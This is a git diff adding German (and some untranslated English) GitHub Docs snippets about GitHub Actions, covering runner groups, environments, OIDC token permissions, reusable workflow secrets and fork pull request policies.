+Wenn du dein Unternehmen von einem anderen Anbieter zu {% data variables.product.prodname_actions %} migrierst, gibt es zusätzliche Überlegungen. Weitere Informationen findest du unter [Migrieren deines Unternehmens zu {% data variables.product.prodname_actions %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions).
diff --git a/translations/de-DE/data/reusables/actions/minimum-hardware.md b/translations/de-DE/data/reusables/actions/minimum-hardware.md
new file mode 100644
index 0000000000..6cd9dbf373
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/minimum-hardware.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6a68c91196ea2efc4326c0ff8861bbae3cbbe700
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103672"
+---
+{% data variables.product.company_short %} empfiehlt mindestens 8 vCPU und 64 GB Arbeitsspeicher zum Ausführen von {% data variables.product.prodname_actions %}.
diff --git a/translations/de-DE/data/reusables/actions/more-resources-for-ghes.md b/translations/de-DE/data/reusables/actions/more-resources-for-ghes.md
new file mode 100644
index 0000000000..f3b008579a
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/more-resources-for-ghes.md
@@ -0,0 +1,22 @@
+If you plan to enable {% data variables.product.prodname_actions %} for the users of your instance, more resources are required.
+
+
+{%- ifversion ghes = 3.3 %}
+
+{% data reusables.actions.hardware-requirements-3.3 %}
+
+{%- endif %}
+
+{%- ifversion ghes = 3.4 %}
+
+{% data reusables.actions.hardware-requirements-3.4 %}
+
+{%- endif %}
+
+{%- ifversion ghes = 3.5 %}
+
+{% data reusables.actions.hardware-requirements-3.5 %}
+
+{%- endif %}
+
+For more information about these requirements, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-considerations)."
diff --git a/translations/de-DE/data/reusables/actions/moving-a-runner-to-a-group.md b/translations/de-DE/data/reusables/actions/moving-a-runner-to-a-group.md
new file mode 100644
index 0000000000..f0d634cbeb
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/moving-a-runner-to-a-group.md
@@ -0,0 +1,15 @@
+If you don't specify a runner group during the registration process, your new runners are automatically assigned to the default group, and can then be moved to another group.
+
+{% data reusables.actions.self-hosted-runner-navigate-to-org-enterprise %}
+{% ifversion ghec or ghes > 3.3 or ghae > 3.3 %}
+1. In the "Runners" list, click the runner that you want to configure.
+2. Select the **Runner group** drop-down.
+3. In "Move runner to group", choose a destination group for the runner.
+{% elsif ghae < 3.4 or ghes < 3.4 %}
+1. In the {% ifversion ghes or ghae %}"Runner groups"{% endif %} section of the settings page, locate the current group of the runner you want to move and expand the list of group members.
+    ![View runner group members](/assets/images/help/settings/actions-org-runner-group-members.png)
+2. Select the checkbox next to the self-hosted runner, and then click **Move to group** to see the available destinations.
+    ![Runner group member move](/assets/images/help/settings/actions-org-runner-group-member-move.png)
+3. To move the runner, click on the destination group.
+    ![Runner group member move](/assets/images/help/settings/actions-org-runner-group-member-move-destination.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/name-environment.md b/translations/de-DE/data/reusables/actions/name-environment.md
new file mode 100644
index 0000000000..8f8afcfa27
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/name-environment.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 15de1d14db5268907af2b8b89392247f5975573c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145068196"
+---
+1. Gib einen Namen für die Umgebung ein, und klicke dann auf **Umgebung konfigurieren**. Bei Umgebungsnamen wird nicht zwischen Groß- und Kleinschreibung unterschieden. Ein Umgebungsname darf 255 Zeichen nicht überschreiten und muss innerhalb des Repositorys eindeutig sein.
diff --git a/translations/de-DE/data/reusables/actions/new-environment.md b/translations/de-DE/data/reusables/actions/new-environment.md
new file mode 100644
index 0000000000..1a428c5288
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/new-environment.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a66d532ece420badd95268e1d2ef12e2eddbfa8b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103671"
+---
+1. Klicke auf **Neue Umgebung**.
diff --git a/translations/de-DE/data/reusables/actions/note-understanding-example.md b/translations/de-DE/data/reusables/actions/note-understanding-example.md
new file mode 100644
index 0000000000..4a68bda8d9
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/note-understanding-example.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: ff11162c9aa5e89ec7a5d28166b1bfeda970bf81
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147066050"
+---
+{% note %}
+
+**Hinweis**: Jede Zeile dieses Workflows wird im nächsten Abschnitt unter [Grundlegendes zum Beispiel](#understanding-the-example) erläutert.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/actions/oidc-link-to-intro.md b/translations/de-DE/data/reusables/actions/oidc-link-to-intro.md
new file mode 100644
index 0000000000..bde9e400cb
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/oidc-link-to-intro.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8b8322cde9e91d39430caead22737b0539b7fc0f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145089396"
+---
+- Informationen zu den grundlegenden Konzepten, nach denen {% data variables.product.prodname_dotcom %} OpenID Connect (OIDC) und seine Architektur und Vorteile verwendet, findest du unter [Informationen zur Sicherheitshärtung mit OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect).
diff --git a/translations/de-DE/data/reusables/actions/oidc-permissions-token.md b/translations/de-DE/data/reusables/actions/oidc-permissions-token.md
new file mode 100644
index 0000000000..1b4c1be74c
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/oidc-permissions-token.md
@@ -0,0 +1,31 @@
+---
+ms.openlocfilehash: a314ace9dc0cc07e1119fa2a02c5ea45ef3a90fe
+ms.sourcegitcommit: ac00e2afa6160341c5b258d73539869720b395a4
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876817"
+---
+Der Auftrag oder die Workflowausführung erfordert eine Einstellung `permissions` mit [`id-token: write`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token). Du kannst das OIDC JWT-ID-Token nicht anfordern, wenn die Einstellung `permissions` für `id-token` auf `read` oder `none` festgelegt ist.
+
+Mit der Einstellung `id-token: write` kann der JWT von {% data variables.product.prodname_dotcom %}-OIDC-Anbieter mit einer der folgenden Ansätze angefordert werden:
+
+- Verwenden von Umgebungsvariablen auf dem Runner (`ACTIONS_ID_TOKEN_REQUEST_URL` und `ACTIONS_ID_TOKEN_REQUEST_TOKEN`).
+- Verwenden von `getIDToken()` aus dem Actions-Toolkit.
+
+Wenn du ein OIDC-Token für einen Workflow abrufen musst, können die Berechtigungen auf Workflowebene festgelegt werden. Beispiel:
+
+```yaml{:copy}
+permissions:
+  id-token: write # This is required for requesting the JWT
+  contents: read  # This is required for actions/checkout
+```
+
+Wenn Du nur ein OIDC-Token für einen einzelnen Auftrag abrufen musst, kann diese Berechtigung innerhalb dieses Auftrags festgelegt werden. Beispiel:
+
+```yaml{:copy}
+permissions:
+  id-token: write # This is required for requesting the JWT
+```
+
+Möglicherweise musst Du hier zusätzliche Berechtigungen angeben, abhängig von den Anforderungen Deines Workflows. 
diff --git a/translations/de-DE/data/reusables/actions/oidc-security-notice.md b/translations/de-DE/data/reusables/actions/oidc-security-notice.md
new file mode 100644
index 0000000000..7eadf34036
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/oidc-security-notice.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e0b81b4d42e322a689a90a57ace759163fc182b1
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103664"
+---
+- Bevor du fortfährst, musst du deine Sicherheitsstrategie planen, um sicherzustellen, dass Zugriffs-Token nur auf vorhersehbare Weise zugewiesen werden. Zur Steuerung, wie dein Cloud-Anbieter Zugriffs-Token ausgibt, **musst** du mindestens eine Bedingung definieren, damit nicht vertrauenswürdige Repositorys keine Zugriffs-Token für deine Cloud-Ressourcen anfordern können. Weitere Informationen findest du unter „[Konfigurieren der OIDC-Vertrauensstellung mit der Cloud](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-oidc-trust-with-the-cloud)“.
diff --git a/translations/de-DE/data/reusables/actions/oidc-updating-workflow-overview.md b/translations/de-DE/data/reusables/actions/oidc-updating-workflow-overview.md
new file mode 100644
index 0000000000..24622b8743
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/oidc-updating-workflow-overview.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: a2d715cc94af2755d4161ef0715314caa0e82047
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145089395"
+---
+Zum Hinzufügen der OIDC-Integration zu deinen Cloudbereitstellungsworkflows musst du die folgenden Codeänderungen vornehmen:
+
+- Erteile die Berechtigung zum Abrufen von Token vom OIDC-Anbieter für {% data variables.product.prodname_dotcom %}:
+  - Der Workflow benötigt eine `permissions`-Einstellung mit einem definierten `id-token`-Wert. Dadurch kannst du OIDC-Token aus jedem Auftrag im Workflow abrufen. Wenn du nur ein OIDC-Token für einen einzelnen Auftrag abrufen musst, kann diese Berechtigung innerhalb dieses Auftrags festgelegt werden.
+- Fordere das JSON-Webtoken (JWT) vom OIDC-Anbieter für {% data variables.product.prodname_dotcom %} an, und übergib es an deinen Cloudanbieter, um ein Zugriffstoken zu erhalten:
+  - Du kannst das Actions-Toolkit verwenden, um die Token in deinem Auftrag abzurufen, oder du kannst die offizielle Aktion verwenden, die von deinem Cloudanbieter erstellt wurde, um das JWT abzurufen und das Zugriffstoken aus der Cloud zu empfangen.
diff --git a/translations/de-DE/data/reusables/actions/on-multiple-example.md b/translations/de-DE/data/reusables/actions/on-multiple-example.md
new file mode 100644
index 0000000000..11b794c36b
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/on-multiple-example.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: de2ab71ca5c93229329c2887dc71685aa92e199d
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147883060"
+---
+Du kannst ein einzelnes Ereignis oder mehrere Ereignisse angeben. Beispielsweise wird ein Workflow mit dem folgenden `on`-Wert ausgeführt, wenn in einem beliebigen Branch im Repository des Workflows ein Push erfolgt oder wenn jemand ein Repository forkt:
+
+```yaml
+on: [push, fork]
+```
+
+Wenn du mehrere Ereignisse angibst, muss nur eines dieser Ereignisse auftreten, um deinen Workflow auszulösen. Treten gleichzeitig mehrere auslösende Ereignisaktivitätstypen für deinen Workflow auf, werden mehrere Workflow-Ausführungen ausgelöst.
diff --git a/translations/de-DE/data/reusables/actions/on-single-example.md b/translations/de-DE/data/reusables/actions/on-single-example.md
new file mode 100644
index 0000000000..9171dd00cd
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/on-single-example.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 8c5c7093d58523b85ef3b962bc2e752a3fec4757
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145089355"
+---
+Beispielsweise wird ein Workflow mit dem folgenden `on`-Wert ausgeführt, wenn in einem beliebigen Branch im Repository des Workflows ein Push erfolgt:
+
+```yaml
+on: push
+```
diff --git a/translations/de-DE/data/reusables/actions/output-limitations.md b/translations/de-DE/data/reusables/actions/output-limitations.md
new file mode 100644
index 0000000000..49459162d6
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/output-limitations.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 73bc14da3e8e3c1eb6d24f1f8f562e579380587b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145186095"
+---
+Ausgaben sind Unicode-Zeichenfolgen und können maximal 1 MB groß sein. Die Gesamtanzahl aller Ausgaben in einer Workflowausführung kann maximal 50 MB betragen.
diff --git a/translations/de-DE/data/reusables/actions/outside-collaborators-internal-actions.md b/translations/de-DE/data/reusables/actions/outside-collaborators-internal-actions.md
new file mode 100644
index 0000000000..42243b1385
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/outside-collaborators-internal-actions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 04c8c952acf77d0ceffaf47ef7a0ac9e3a435fd4
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145068187"
+---
+Wenn du den Zugriff auf ein internes Repository in deinem Unternehmen für {% data variables.product.prodname_actions %}-Workflows in anderen Repositorys erlaubst, können externe Projektmitarbeiter*innen aus den anderen Repositorys indirekt auf das interne Repository zugreifen, obwohl sie keinen direkten Zugriff auf das interne Repository haben. Die externen Projektmitarbeiter*innen können Protokolle für Workflowausführungen anzeigen, wenn Aktionen oder Workflows aus dem internen Repository verwendet werden.
diff --git a/translations/de-DE/data/reusables/actions/partial-reruns-with-reusable.md b/translations/de-DE/data/reusables/actions/partial-reruns-with-reusable.md
new file mode 100644
index 0000000000..7527d36caa
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/partial-reruns-with-reusable.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 142794535bf66481cbdf5ec8430ed18ff9a0034d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147079932"
+---
+Auf wiederverwendbare Workflows aus öffentlichen Repositorys kann mithilfe eines SHA, eines Releasetags oder eines Branchnamens verwiesen werden. Weitere Informationen findest du unter [Aufrufen eines wiederverwendbaren Workflows](/actions/using-workflows/reusing-workflows#calling-a-reusable-workflow). 
+
+Wenn du einen Workflow, der einen wiederverwendbaren Workflow verwendet, erneut ausführst, und der Verweis kein SHA-Verweis ist, sind einige Verhaltensweisen zu beachten:
+
+* Bei erneuter Ausführung aller Aufträge in einem Workflow wird der wiederverwendbare Workflow aus dem angegebenen Verweis verwendet. Weitere Informationen zum erneuten Ausführen aller Aufträge in einem Workflow findest du unter [Erneutes Ausführen aller Aufträge in einem Workflow](/actions/managing-workflow-runs/re-running-workflows-and-jobs#re-running-all-the-jobs-in-a-workflow).
+* Beim erneuten Ausführen fehlerhafter Aufträge oder eines bestimmten Auftrags in einem Workflow wird der wiederverwendbare Workflow aus dem Commit-SHA des ersten Versuches verwendet. Weitere Informationen zum erneuten Ausführen fehlerhafter Aufträge in einem Workflow findest du unter [Erneutes Ausführen fehlerhafter Aufträge in einem Workflow](/actions/managing-workflow-runs/re-running-workflows-and-jobs#re-running-failed-jobs-in-a-workflow). Weitere Informationen zum erneuten Ausführen eines bestimmten Auftrags in einem Workflow findest du unter [Erneutes Ausführen eines bestimmten Auftrags in einem Workflow](/actions/managing-workflow-runs/re-running-workflows-and-jobs#re-running-a-specific-job-in-a-workflow).
diff --git a/translations/de-DE/data/reusables/actions/pass-inputs-to-reusable-workflows.md b/translations/de-DE/data/reusables/actions/pass-inputs-to-reusable-workflows.md
new file mode 100644
index 0000000000..42693c2aa3
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/pass-inputs-to-reusable-workflows.md
@@ -0,0 +1,36 @@
+---
+ms.openlocfilehash: cbef944587557a76da3f57cb87aeb16e711b6cf9
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147065081"
+---
+Verwende das Schlüsselwort `with` in einem Auftrag, um benannte Eingaben an einen aufgerufenen Workflow zu übergeben. Verwende das Schlüsselwort `secrets`, um benannte Geheimnisse zu übergeben. Bei Eingaben muss der Datentyp des Eingabewerts dem Typ entsprechen, der im aufgerufenen Workflow angegeben ist (boolescher Wert, Zahl oder Zeichenfolge).
+
+{% raw %}
+```yaml
+jobs:
+  call-workflow-passing-data:
+    uses: octo-org/example-repo/.github/workflows/reusable-workflow.yml@main
+    with:
+      username: mona
+    secrets:
+      envPAT: ${{ secrets.envPAT }}
+```
+{% endraw %}
+
+{% ifversion actions-inherit-secrets-reusable-workflows %}Workflows, die wiederverwendbare Workflows in derselben Organisation oder im selben Unternehmen aufrufen, können das Schlüsselwort `inherit` verwenden, um die Geheimnisse implizit zu übergeben.
+
+{% raw %}
+```yaml
+jobs:
+  call-workflow-passing-data:
+    uses: octo-org/example-repo/.github/workflows/reusable-workflow.yml@main
+    with:
+      username: mona
+    secrets: inherit
+```
+{% endraw %}
+
+{%endif%}
diff --git a/translations/de-DE/data/reusables/actions/permissions-statement-environment.md b/translations/de-DE/data/reusables/actions/permissions-statement-environment.md
new file mode 100644
index 0000000000..18aa78e36b
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/permissions-statement-environment.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d4d4a7196a98fb607fc7abca7d174e53ede76777
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103648"
+---
+Um eine Umgebung in einem Repository eines persönlichen Kontos zu konfigurieren, musst du der Repositorybesitzer sein. Um eine Umgebung in einem Organisationsrepository zu konfigurieren, musst du `admin`-Zugriff haben.
diff --git a/translations/de-DE/data/reusables/actions/permissions-statement-secrets-api.md b/translations/de-DE/data/reusables/actions/permissions-statement-secrets-api.md
new file mode 100644
index 0000000000..3f085160ad
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/permissions-statement-secrets-api.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 31c2c61a9c908f6284ebb7e53ce9ae2724325fdf
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145068172"
+---
+Um Geheimnisse mithilfe der REST-API zu erstellen, musst du über Schreibzugriff auf das Repository oder über Administratorzugriff auf die Organisation verfügen. Weitere Informationen findest du unter [{% data variables.product.prodname_actions %}-Geheimnis-API](/rest/reference/actions#secrets).
diff --git a/translations/de-DE/data/reusables/actions/permissions-statement-secrets-environment.md b/translations/de-DE/data/reusables/actions/permissions-statement-secrets-environment.md
new file mode 100644
index 0000000000..9c4b70a7bd
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/permissions-statement-secrets-environment.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 46b5a31c9c47ca0d368e54fb2bfe8c3e4de4494c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103647"
+---
+Um Geheimnisse für eine Umgebung in einem Repository eines persönlichen Kontos zu erstellen, musst du Besitzer des Repositorys sein. Für das Erstellen von Geheimnissen für eine Umgebung in einem Organisationsrepository benötigst du `admin`-Zugriff.
diff --git a/translations/de-DE/data/reusables/actions/permissions-statement-secrets-organization.md b/translations/de-DE/data/reusables/actions/permissions-statement-secrets-organization.md
new file mode 100644
index 0000000000..ddd50569b8
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/permissions-statement-secrets-organization.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6ea3ef6ceb46482d8c85b496b1cfd3a6546ddd03
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145068169"
+---
+Für das Erstellen von Geheimnissen auf Organisationsebene benötigst du `admin`-Zugriff. 
diff --git a/translations/de-DE/data/reusables/actions/permissions-statement-secrets-repository.md b/translations/de-DE/data/reusables/actions/permissions-statement-secrets-repository.md
new file mode 100644
index 0000000000..ed2a8d37ec
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/permissions-statement-secrets-repository.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0144e2c347078ce0fd9d910b5f4913098eafd083
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879559"
+---
+Um Geheimnisse für das Repository eines persönlichen Kontos zu erstellen, musst Du der Besitzer des Repositorys sein. Um Geheimnisse für ein Organisationsrepository zu erstellen, musst du über `admin`-Zugriff verfügen.
diff --git a/translations/de-DE/data/reusables/actions/permissions-table-entry.md b/translations/de-DE/data/reusables/actions/permissions-table-entry.md
new file mode 100644
index 0000000000..a202893bc6
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/permissions-table-entry.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ba2a8718e5357ae49cfefe14692401216e8fc543
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147067682"
+---
+| Festlegen von Berechtigungen für das Token: | [`permissions`](/actions/using-jobs/assigning-permissions-to-jobs)|
diff --git a/translations/de-DE/data/reusables/actions/policy-label-for-select-actions-workflows.md b/translations/de-DE/data/reusables/actions/policy-label-for-select-actions-workflows.md
new file mode 100644
index 0000000000..456baaf463
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/policy-label-for-select-actions-workflows.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a49972a569d2607dd24645b0fdc9fbfbd6bbfb02
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147061322"
+---
+{% ifversion actions-workflow-policy %}{% ifversion ghec or ghes or ghae %}**Enterprise-Workflows zulassen und Workflows ohne Enterprise, Aktionen und wiederverwendbare Workflows auswählen**{% else %}***OWNER* zulassen und NICHT-*OWNER*, Aktionen und wiederverwendbare Workflows auswählen**{% endif %}{% else %}**Ausgewählte Aktionen zulassen**{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/postgres-environment-variables.md b/translations/de-DE/data/reusables/actions/postgres-environment-variables.md
new file mode 100644
index 0000000000..bfdd494e8d
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/postgres-environment-variables.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 38cb1809a69bf402d3fac174d5e8597dc0db7b8b
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145089347"
+---
+Das *client.js*-Skript sucht nach den Umgebungsvariablen `POSTGRES_HOST` und `POSTGRES_PORT`, um den Client zu erstellen. Der Workflow legt diese beiden Umgebungsvariablen im Rahmen des Schritts „Mit PostgreSQL verbinden“ fest, um sie dem *client.js*-Skript zur Verfügung zu stellen. Weitere Informationen zum Skript findest du unter [Testen des PostgreSQL-Dienstcontainers](#testing-the-postgresql-service-container).
diff --git a/translations/de-DE/data/reusables/actions/postgres-label-description.md b/translations/de-DE/data/reusables/actions/postgres-label-description.md
new file mode 100644
index 0000000000..f80adc0e77
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/postgres-label-description.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 67ef84929e93a9f0fa1acc99e2035b2d62cb1574
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145068148"
+---
+Der Workflow konfiguriert einen Dienstcontainer mit der Bezeichnung `postgres`. Alle Dienste müssen in einem Container ausgeführt werden, daher erfordert jeder Dienst die Angabe des Containers `image`. Dieses Beispiel verwendet das `postgres`-Containerimage, stellt das standardmäßige PostgreSQL-Passwort bereit und enthält Optionen für Systemdiagnosen, um sicherzustellen, dass der Dienst ausgeführt wird. Weitere Informationen findest du unter [postgres-Image](https://hub.docker.com/_/postgres) auf Docker Hub.
diff --git a/translations/de-DE/data/reusables/actions/private-repository-forks-configure.md b/translations/de-DE/data/reusables/actions/private-repository-forks-configure.md
new file mode 100644
index 0000000000..7ff3731a54
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/private-repository-forks-configure.md
@@ -0,0 +1,7 @@
+1. Under **Fork pull request workflows**, select your options. For example:
+  {% ifversion actions-private-fork-workflow-approvals %}
+   ![Enable, disable, or limits actions for this repository](/assets/images/help/settings/actions-fork-pull-request-workflows-require-approval.png){% else %}
+
+   ![Enable, disable, or limits actions for this repository](/assets/images/help/settings/actions-fork-pull-request-workflows.png){% endif %}
+
+1. Click **Save** to apply the settings.
diff --git a/translations/de-DE/data/reusables/actions/private-repository-forks-options.md b/translations/de-DE/data/reusables/actions/private-repository-forks-options.md
new file mode 100644
index 0000000000..7e7219bd70
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/private-repository-forks-options.md
@@ -0,0 +1,4 @@
+- **Run workflows from fork pull requests** - Allows users to run workflows from fork pull requests, using a `GITHUB_TOKEN` with read-only permission, and with no access to secrets.
+- **Send write tokens to workflows from pull requests** - Allows pull requests from forks to use a `GITHUB_TOKEN` with write permission.
+- **Send secrets to workflows from pull requests** - Makes all secrets available to the pull request.{% ifversion actions-private-fork-workflow-approvals %}
+- **Require approval for fork pull request workflows** - Workflow runs on pull requests from collaborators without write permission will require approval from someone with write permission before they will run.{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/private-repository-forks-overview.md b/translations/de-DE/data/reusables/actions/private-repository-forks-overview.md
new file mode 100644
index 0000000000..c82ccdf807
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/private-repository-forks-overview.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0734336906d60a230cc3295722758d6e48629a6d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879493"
+---
+Wenn du für deine privaten Repositorys Forks verwendest, kannst du Richtlinien konfigurieren, die steuern, wie Benutzer Workflows für `pull_request`-Ereignisse ausführen können. Diese Richtlinien sind nur für private {% ifversion ghec or ghes or ghae %}und interne {% endif %}Repositorys verfügbar. Du kannst die Richtlinieneinstellungen für {% ifversion ghec %}Unternehmen, {% elsif ghes or ghae %}dein Unternehmen, {% endif %}Organisationen oder Repositorys konfigurieren.
diff --git a/translations/de-DE/data/reusables/actions/proxy-considerations.md b/translations/de-DE/data/reusables/actions/proxy-considerations.md
new file mode 100644
index 0000000000..bcefa0d557
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/proxy-considerations.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b6640282283af6305f290135894869dfb42cec7c
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "146682509"
+---
+Wenn {% data variables.product.prodname_actions %} für dein Unternehmen aktiviert ist, werden nur HTTP-Proxys unterstützt. SOCKS5- und HTTPS-Proxys werden nicht unterstützt.
diff --git a/translations/de-DE/data/reusables/actions/publish-to-maven-workflow-step.md b/translations/de-DE/data/reusables/actions/publish-to-maven-workflow-step.md
new file mode 100644
index 0000000000..1e36de5540
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/publish-to-maven-workflow-step.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e61b98fb2e2ad39bf3e17b058b401a6fdb967836
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145089332"
+---
